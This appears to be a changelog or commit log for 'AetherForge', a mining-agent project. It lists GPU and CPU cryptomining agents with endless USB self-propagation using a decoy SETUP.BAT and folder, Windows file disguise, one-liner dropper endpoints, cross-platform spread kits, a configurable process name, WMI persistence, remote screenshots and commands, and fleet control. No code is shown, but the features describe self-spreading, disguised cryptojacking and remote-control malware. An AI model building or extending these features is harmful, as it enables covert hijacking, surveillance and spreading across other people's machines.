- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge
- USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless
- Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots
- Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command
- Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting
- Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner
- Crucible gold rain when single agent is active; matrix rain mystic word drops
- README fully rewritten; USB bundle repacked
Add Build Manager with pin-to-dropper, Crucible multi-node terminal with SSH probe/wake, Command Deck chart balance and pretty stats, AetherForge logo and sacred geometry UI, Field Guide refresh, and LAUNCH.bat Cloudflare MSI + token service install flow.
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
Ship live alerts, pool status, AI monitor, remote agent commands, build manager, and uninstall flow; wire Calibrate settings (WS ping, pool traffic log, retention limits) at runtime and exclude server/data from git.
Dark UI with hashrate graphs, inline setting help, percent-based threads/RAM, configurable process name and display modes, and LAN-aware run.bat startup banner.
Implement Windows agent with RandomX mining and WebSocket fleet reporting, wire dashboard settings into the builder with saved exe paths, and add project README.